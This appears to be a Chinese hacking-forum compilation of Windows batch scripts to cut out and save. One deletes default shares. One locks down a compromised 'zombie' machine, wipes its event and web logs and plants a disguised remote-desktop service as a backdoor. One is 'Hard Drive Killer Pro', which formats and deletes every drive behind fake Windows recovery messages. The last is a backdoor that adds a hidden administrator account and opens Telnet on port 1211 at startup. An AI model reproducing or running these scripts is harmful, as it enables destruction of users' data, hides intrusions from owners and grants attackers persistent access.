@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END

:Usage
echo.
echo ------------------------------------------------------
echo.
echo*=*= * Aexampleforbatchfile*=*=*
echo*=*= * [Use batch file to changethesysytemshareproperties.]*=*=*
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com
echo.
echo Error：Not enough parameters
echo.
echo*=*= * Please enter the sharediskyouwannadelete*=*=*
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF

:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.

:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

2、全面加固系统（给肉鸡打补丁）的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]

@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]

3、Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).

------------------------ cut here then save as .bat or .cmd file ---------------------------

4、灰色轨迹论坛发现的一个批处理后门（教学意义比实际意义大^_^）

------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
@if "%1" =="" goto user
@IF NOT EXIST %systemroot%\winhm.bat goto nobat
@attrib -h -S -r %systemroot%\winhm.bat
:nobat
@cd %systemroot%\system32\
@echo @echo off >%systemroot%\winhm.bat
@echo @echo 5 ^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 3 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 7 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo y ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 0 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo y ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 8 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo y ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 1211 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo y ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 0 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 4 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @echo 0 ^>^>%systemroot%\system32\gnm.txt >>winhm.bat
@echo @cd %systemroot%\system32\ >>winhm.bat
@echo @tlntadmn^<gnm.txt ^>nul >>winhm.bat
@echo @del gnm.txt >>winhm.bat
@echo exit >>winhm.bat
@attrib +h +r +S %systemroot%\winhm.bat
@IF NOT EXIST %systemroot%\system32\gnm.vbs goto novbs
@attrib -h -S -r %systemroot%\system32\gnm.vbs
:novbs
@echo set wshshell=createobject ("wscript.shell") >%systemroot%\system32\gnm.vbs
@echo a=wshshell.run ("cmd.exe /c net user %1 %2 /add",0) >>%systemroot%\system32\gnm.vbs
@echo b=wshshell.run ("cmd.exe /c net user %1 /active:y",0) >>%systemroot%\system32\gnm.vbs
@echo c=wshshell.run ("cmd.exe /c net localgroup administrators %1 /add",0) >>%systemroot%\system32\gnm.vbs
@echo c=wshshell.run ("cmd.exe /c start %systemroot%\winhm.bat",0) >>%systemroot%\system32\gnm.vbs
@attrib +h +r +S %systemroot%\system32\gnm.vbs
@start %systemroot%\system32\gnm.vbs

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [hkey_local_machine\system\currentcontrolset\services\lanman
server\parameters] >>patch.dll
@echo "autoshareserver"=dword:00000000 >>patch.dll
@echo "autosharewks"=dword:00000000 >>patch.dll

@echo [hkey_local_machine\system\currentcontrolset\control\lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll

@echo [hkey_local_machine\system\currentcontrolset\services\netbt\
parameters] >>patch.dll
@echo "smbdeviceenabled"=dword:00000000 >>patch.dll

@echo [hkey_local_machine\system\currentcontrolset\services\@remot
eregistry] >>patch.dll
@echo "start"=dword:00000004 >>patch.dll
@echo [hkey_local_machine\system\currentcontrolset\services\schedu
le] >>patch.dll
@echo "start"=dword:00000004 >>patch.dll
@echo [hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon] >>patch.dll
@echo "shutdownwithoutlogon"="0" >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSv
r] >>patch.dll
@echo "DependOnService" =hex(7):52,00,70,00,63,00,53,00,73,00,00,00,54,00,63,00,70,0
0,\ >>patch.dll
@echo 49,00,70,00,00,00,00,00 >>patch.dll
@echo "Description"="允许远程用户登录到系统并且使用命令行运行控制台程序。" >>patch.dll
@echo "DisplayName"="Telnet" >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath" =hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,0
0,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,
32,00,5c,00,74,\ >>patch.dll
@echo 00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,
00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSv
r\Enum] >>patch.dll
@echo "0"="Root\\LEGACY_TLNTSVR\\0000" >>patch.dll
@echo "Count"=dword:00000001 >>patch.dll
@echo "NextInstance"=dword:00000001 >>patch.dll
@echo "dontdisplaylastusername"="1" >>patch.dll
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Policies\Explorer] >>patch.dll
@echo "NoDriveTypeAutoRun"=dword:00000091 >>patch.dll
@echo "run"="gnm.vbs" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio
n\Explorer\Advanced\Folder\Hidden\SHOWALL] >>patch.dll
@echo "RegPath"=" Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adva
nced" >>patch.dll
@echo "Text"="@shell32.dll,-30500" >>patch.dll
@echo "Type"="radio" >>patch.dll
@echo "Checkedvalue"=dword:00000000 >>patch.dll
@echo "valueName"="Hidden" >>patch.dll
@echo "Defaultvalue"=dword:00000002 >>patch.dll
@echo "HKeyRoot"=dword:80000001 >>patch.dll
@echo "HelpID"="shell.hlp#51105" >>patch.dll

@regedit /s patch.dll
@del patch.dll

@echo 5 >%systemroot%\system32\gnm.txt
@echo 3 >>%systemroot%\system32\gnm.txt
@echo 7 >>%systemroot%\system32\gnm.txt
@echo y >>%systemroot%\system32\gnm.txt
@echo 0 >>%systemroot%\system32\gnm.txt
@echo y >>%systemroot%\system32\gnm.txt
@echo 8 >>%systemroot%\system32\gnm.txt
@echo y >>%systemroot%\system32\gnm.txt
@echo 1211 >>%systemroot%\system32\gnm.txt
@echo y >>%systemroot%\system32\gnm.txt
@echo 0 >>%systemroot%\system32\gnm.txt
@echo 4 >>%systemroot%\system32\gnm.txt
@echo 0 >>%systemroot%\system32\gnm.txt
@cd %systemroot%\system32\
@tlntadmn<gnm.txt >nul
@del gnm.txt

@goto end

:user
@echo Example: "Name Password"

PAUSE >NUL
rem 命令行下运行 a.bat username password
rem 可每次在启动时自动建立你设置的帐号，开1211的TELNET端口，此外
rem 是一些注册表补丁~

:end
@exit
------------------------ cut here then save as .bat or .cmd file ---------------------------